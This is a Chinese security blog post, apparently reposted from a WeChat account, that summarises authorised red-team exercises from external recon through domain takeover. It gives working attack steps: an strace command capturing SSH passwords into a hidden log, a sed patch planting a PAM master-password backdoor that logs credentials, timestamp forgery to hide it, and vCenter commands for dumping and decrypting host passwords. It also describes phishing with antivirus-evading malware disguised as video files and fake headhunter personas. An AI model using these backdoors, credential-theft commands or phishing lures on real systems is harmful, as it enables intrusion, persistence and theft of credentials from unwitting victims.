攻防演练总结

admin 2022年9月9日11:16:59HW&HVV评论48 views5103字阅读17分0秒阅读模式

攻防演练总结

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文经授权转自天虞实验室!

申明:文章中涉及操作均已提前获得客户授权许可,敏感信息已脱敏处理。相关案例仅供信息安全从业者参考,尝试利用攻击属违法行为!

0x01 前言

近期参加了好几场攻防演练,跟着团队里的小伙伴学到了很多东西,针对这几次攻防演练进行一个总结。

大概流程:外网信息收集、打点/钓鱼/近源攻击、权限维持、提权、内网信息收集、横向移动、痕迹清理

0x02 外网信息收集

信息收集主要对一级单位、二级单位和三级单位的资产进行收集,利用天眼查、企查查、爱企查、小蓝本查询公司组织股权结构、app、公众号等信息,利用空间引擎进行搜索图标的hash、证书信息、域名、IP、C段等,针对web资产进行全端口扫描、目录扫描、指纹信息等,还有一些邮箱等等等。

0x03 外网打点/钓鱼/近源攻击

外网打点

将整理好的资产进行分类,针对不同的应用进行攻击,尝试一些历史漏洞,弱口令等,进入后台之后查看配置文件,有几率会发现外网的数据库和阿里云的key等信息

案例1

通过弱口令登录后台,发现存在阿里云的key

攻防演练总结

使用阿里云key的利用工具,成功托管该账号的云服务,可直接执行命令,拿下主机。

攻防演练总结

案例2

通过越权获取配置文件

攻防演练总结

可连接到数据库

攻防演练总结

钓鱼

在红队的工作中,往往长时间的外网打点也无法打到一个据点,钓鱼会是最快速的攻击手段,根据场景定制不同的钓鱼方法会有意想不到的惊喜。

注意:钓鱼最重要的就是马儿,马儿一定要提前做好免杀,常用方法:分离免杀、白加黑等

案例1-招标网站钓鱼

在招标网站上,给工作人员发送投标文件

攻防演练总结

成功上线一台主机

攻防演练总结

案例2-脉脉钓鱼

在脉脉上找到目标单位的人员,伪造猎头身份,向目标单位人员推荐有吸引力的工作岗位并添加微信,通过微信将恶意文件发送给目标人员

攻防演练总结

攻防演练总结

攻防演练总结

制作一份伪装成视频文件的恶意程序。程序特点:免杀,超长文件名(中文+英文),exe格式结尾。双击后会打开带有内容的视频文件并上线CS。超长文件名是为了查看文件时让用户无法发现后缀。将恶意程序打成压缩包并添加密码。

攻防演练总结

案例3-伪造通知

通过伪造xxx通知,发送带有恶意文件的程序

攻防演练总结

团队使用的是cs,使用批量发送的邮件的时候要考虑一个问题,当有许多机器上线的时候,需要及时的收到主机上线通知和快速的权限维持

上线通知:使用cs插件,有新的主机上线推送到钉钉。

快速权限维持:使用cs插件,可以参考:wgpsec师傅的插件(地址:https://github.com/wgpsec/Automatic-permission-maintenance),如果目标环境上存在360杀毒要考虑将进程注入白名单进程,否则运行计划任务时360会提示。

近源攻击

近源攻击现在也是比较常见的方式了,常见的手法有以下几种:

  • WIFI 钓鱼,比如大菠萝等设备

  • 直接连接目标公司的网线

案例

晚上下班有小伙伴进入目标单位,插入网线扫描内网,发现内网办公网络存在主机弱口令,通过PUT木马使靶机A上线。在第一次尝试扫描内网后,发现没有被拦截,猜测没有检测流量,所以后面就大胆扫描内网。

0x04 内网渗透

做好权限维持之后进行信息收集,主要分为以下几步。

  1. 收集目标机器上安装了哪些软件、存在哪些进程,通过进程查看存在哪些杀毒软件。

  2. 使用HackBrowserData抓取浏览器的一些信息,例如浏览器历史记录、cookie、保存的账号密码(在使用过程中发现360安全浏览器是抓不到密码的)等,一般情况下能抓到系统的密码

  3. 翻文件,说不定会存在一些密码文档,例如xxx系统的密码,发现内网的一些网段。

上述说的 HackBrowserData工具已经被杀了,接着来说一说免杀的方法

将go引用的包名替换一下,修改特殊的字符串特征并加一个启动参数,这样基本上就不杀了

护网横向移动优先攻击策略

内网往往非常大,快速定位和找到关键节点是非常重要的,选择的主要原则为:

  • 快速掌握目标网络架构、网络设备及集权系统(堡垒机、运维管理机、性能监控系统、集中管控系统、域控等)

  • 查找配置文件、系统日志、建设方案、wiki(在wiki中可能会存在网络架构图)、托管代码等,获取敏感信息,为拿下核心设备打下基础。

linux抓密码

通过外网打点拿到一个shell之后,如果需要进一步渗透,拿下这台主机的密码更是重中之重,内网渗透的本质就是信息收集,而登录凭证的收集是信息收集的重点。

1.利用strace抓密码

strace是linux中的调试工具,可通过附加到进程来调试正在运行的进程, strace记录一个正在运行的程序正在执行的系统调用以及参数

# 查看
cat /proc/sys/kernel/yama/ptrace_scope
# 修改
echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0

root权限执行

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

查找用户名和密码的正则表达式为read(6, ".+\0\0\0\.+"

# 查找用户名和密码
grep -E 'read(6, ".+\0\0\0\.+"' /tmp/.sshd.log
攻防演练总结

2.Linux Pam后门

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

源码: http://www.linux-pam.org/library/

查询版本: rpm-qa|grep pam


攻防演练总结

tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1

pamunixauth.c 修改认证逻辑,改成使用特定密码的后门,当然也可以作为一个记录敏感密码的功能,将记录的密码写入文件记录。

sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);ntif (strcmp(p,"'snsn123123'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){ntFILE * fp;ntfp = fopen("/tmp/.sshd", "a");ntfprintf(fp, "%s : %s\n", name, p);ntfclose(fp);nt}/g' modules/pam_unix/pam_unix_auth.c


攻防演练总结

./configure && make

攻防演练总结

cp -rf /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bak
cp -rf pam_unix.so /usr/lib64/security/pam_unix.so

攻防演练总结

oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
touch -d "$oldtime" /usr/lib64/security/pam_unix.so

攻防演练总结

当管理员登录之后就会有新的密码写入

攻防演练总结

通过万能密码也可以成功登录服务器

攻防演练总结

vcenter

在攻防演练中 vcenter作为一个运维集群管控系统,作为一个攻击人员想要在红方演练中快速刷分, Vcenter的价值不亚于域控的价值。

常见漏洞

  1. CVE-2021-21972

  2. CVE-2021-21985

  3. CVE-2021-22005

  4. provider-logo SSRF 漏洞

  5. log4j2 JNDI 注入

通过漏洞拿下 vcenter之后,一般情况下是 vsphere-ui权限,那就需要通过漏洞获取到root权限,常用提权方法如下。

提权

  1. CVE-2021-22015 本地提权

  2. CVE-2021-3156 本地提权

后渗透

SAML 证书登录

Sphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。

在 vCenter 中从 /storage/db/vmware-vmdir/data.mdb 提取 ldap证书,为管理员用户创建 SAML 请求,最后使用 vCenter server 进行身份验证并获得有效的管理员 cookie

首先需要从 vCenter 获得数据库文件:

  • Linux: /storage/db/vmware-vmdir/data.mdb

  • Windows: C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb

使用SAML脚本解密

攻防演练总结

登录 vcenter后台,访问 https://IP/,添加cookie,修改完成之后,点击页面的启动。

攻防演练总结


攻防演练总结

vhost_password_decrypt

查看数据库密码

cat /etc/vmware-vpx/vcdb.properties /etc/vmware/service-state/vpxd/vcdb.properties

导出连接数据库

psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

将password.enc导出到本地,运行脚本解密

攻防演练总结

解出来之后直接登录ex

攻防演练总结

攻防演练总结

查看登录地址

在内网信息收集的时候,尽可能的收集内网的网段信息,如果是一台服务器,必有运维人员上来维护,通过分析登录日志,可以发现运维人员的网段

linux

查看登录地址

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

攻防演练总结

windows

SharpEventLog.exe -4624

攻防演练总结

云桌面

在hw的过程中,发现有些行业喜欢用华为云桌面,由于我们需要在华为云主机上线cs,但是又无法直接复制文件、复制文本等

方法1:

前提条件:云桌面主机和宿主机是互通的

互通情况下可以使用华为云桌面里的主机反向连接宿主机,这样就可以直接通复制文件到华为云桌面上了

方法2:

前提条件:有机会操作目标主机

云桌面主机和宿主机是不互通的,可使用vbs脚本模拟键盘输入,将base64编码后的工具输入到云桌面,在云桌面进行解码

域渗透

进入域之后为了获取最大的权限,通常想方设法将获取域控的权限,以下列举几种不同的攻击手法

域漏洞

  1. ms14-068

  2. zerologon(CVE-2020-1472)

  3. CVE-2021-1675(Windows Print Spooler)

  4. sAMAccountName spoofing(CVE-2021-42278CVE-2021-42287)

  5. ADCS(CVE-202226923)

  6. 权限配置不当:ACL

  7. 组策略GPPSYSVOL中的密码

  8. 基于委派的测试(约束委派、非约束委派、资源委派)

  9. Relay(中继)

  10. ExchangeWSUSDNS

  11. Backup Operators组成员权限到域控权限

其他

1.在条件允许的情况下可将目标主机开启双用户登录,打通隧道,这样就可以白天操作了,也可以使用todesk等工具,上传到目标机器上,直接操作目标主机

2.在扫描其他网段的时候,只扫描.1、.2、.254这几个地址,这样可以快速的知道哪几个网段存活,避免盲目扫描。通过tracert命令跟踪路由,说不定会有小惊喜。

3.拿下内网中的nas、云盘等信息,在nas系统中搜索“系统、管理”等词汇,会有意想不到的惊喜


欢迎关注听风安全,分享更多安全技术~

   

原文始发于微信公众号(听风安全):攻防演练总结

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月9日11:16:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  攻防演练总结 http://cn-sec.com/archives/1287103.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: